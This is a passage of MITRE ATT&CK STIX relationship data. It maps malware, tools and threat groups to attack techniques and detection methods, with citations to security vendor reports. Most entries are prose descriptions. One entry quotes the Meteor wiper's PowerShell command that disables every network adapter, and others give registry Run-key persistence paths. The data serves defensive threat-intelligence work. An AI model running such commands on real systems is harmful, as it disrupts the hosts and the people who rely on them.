2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f38f2dd-e2cf-4571-bb6c-065e50412bac","created":"2023-01-26T16:39:24.446Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T16:39:24.446Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) can obtain the current tick count of an infected computer.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f3a304a-574d-4ccc-b7d6-c546cd27fedd","type":"relationship","created":"2020-12-07T19:39:17.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T19:39:17.343Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can use Dropbox to receive commands and upload stolen data.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-30T02:07:19.295Z","description":"Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f41364e-e72b-4186-980f-a5a5a5d07395","created":"2022-06-24T14:58:08.209Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DnsSystem](https://attack.mitre.org/software/S1021) can Base64 encode data sent to C2.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:58:08.209Z","relationship_type":"uses","source_ref":"malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f42474f-27d5-4939-8f18-348b8d09a9b6","type":"relationship","created":"2021-09-24T17:45:16.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-24T17:45:16.588Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) created and established a service that runs until the encryption process is complete.(Citation: NCC Group WastedLocker June 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f43dcda-56ff-4ac2-b79a-82b09a90944f","type":"relationship","created":"2022-03-24T19:39:24.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T19:39:24.717Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) has a module that can extract cached GPP passwords.(Citation: GitHub SILENTTRINITY Modules July 2019) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f47a6e7-af7e-4e23-a401-4dec08da4e64","type":"relationship","created":"2020-05-21T12:59:00.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T16:39:27.637Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a delivered trojan to download additional files.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f483f1d-cd24-4446-8725-8af01fcd089c","created":"2022-06-09T18:37:17.161Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can upload files from a compromised host over its C2 channel.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) ","modified":"2022-06-09T18:37:17.161Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f4c2cab-c3ca-4f31-8557-485248b65761","created":"2020-07-15T19:28:00.750Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has altered the InstallTime subkey.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:07:28.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f4fde1d-87ff-4c48-9793-75efe99f4963","created":"2024-09-25T14:12:28.576Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:12:28.576Z","description":"Monitor for changes to SaaS services, especially when quotas are raised or when new services are enabled.","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f50a4e4-6ceb-4ead-88ed-147592e0b398","created":"2020-05-22T15:43:05.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.774Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used PowerShell to execute malicious code.(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f5462cb-ac39-49d1-848e-aefaaab321e3","created":"2023-03-03T00:40:22.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"LOLBAS Certutil","description":"LOLBAS. (n.d.). Certutil.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Certutil/"},{"source_name":"TechNet Certutil","description":"Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.","url":"https://technet.microsoft.com/library/cc732443.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T23:14:22.699Z","description":"[certutil](https://attack.mitre.org/software/S0160) may be used to Base64 encode collected data.(Citation: TechNet Certutil)(Citation: LOLBAS Certutil)","relationship_type":"uses","source_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f54df67-bfb2-40d1-a427-50558f1b1171","created":"2024-08-20T19:57:31.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T19:35:16.156Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) has copied its binary and the victim's scraped password into a hidden folder in the `/Users` directory.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f55c28a-835f-4a85-a733-8fac5b819dcf","type":"relationship","created":"2021-02-16T20:13:27.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:58.035Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) is designed to download an implant from a C2 server.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f578b99-3d14-4416-8936-51e11d71a47b","created":"2024-02-09T19:50:45.734Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:50:45.734Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) has piped the output from executed commands to `/tmp/1`.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f5aaf05-13e0-4959-a788-893f780c9b23","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"Sysinternals AppCertDlls Oct 2007","description":"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.","url":"https://forum.sysinternals.com/appcertdlls_topic12546.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f5b5d67-44f6-4725-951e-ce614385c361","type":"relationship","created":"2020-11-06T18:40:38.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"}],"modified":"2020-11-06T18:40:38.035Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform pass the hash.(Citation: Cobalt Strike TTPs Dec 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f5c39a8-edc1-4da2-941a-56e17b32abe4","type":"relationship","created":"2020-07-30T19:23:33.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.147Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) collects a list of installed antivirus software from the victim’s system.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.792Z","description":"[Rover](https://attack.mitre.org/software/S0090) persists by creating a Registry entry in HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f6041e9-c2cb-4a22-951d-13587fe4a547","type":"relationship","created":"2020-08-13T14:58:25.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.243Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use [netstat](https://attack.mitre.org/software/S0104) to collect a list of network connections.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f60b67a-c6a5-4855-991e-00ec6fe5f9ac","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.689Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) establishes persistence by creating the Registry key HKCU\\Software\\Microsoft\\Windows\\Run.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f64f141-1f0f-4374-879d-b08f0fda8979","type":"relationship","created":"2019-01-29T21:40:37.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:09:54.686Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform screen capture.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f66681a-7daf-4cd7-99af-3005b6586306","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.032Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) collects hard drive content and system configuration information.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f677d2e-2cff-4b9f-ae1b-621a5e856b08","created":"2022-04-13T11:55:04.213Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can disconnect all network adapters on a compromised host using `powershell -Command \"Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }\" > NUL`.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-13T11:55:04.213Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f688474-53c2-4ad5-8998-bd8c39a79f04","created":"2022-08-09T16:48:26.158Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has gathered victim computer information and configurations.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:10:18.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f70aa6c-c7a0-4628-b073-10fd1c576d45","created":"2022-03-22T18:41:02.941Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can check for Internet connectivity by 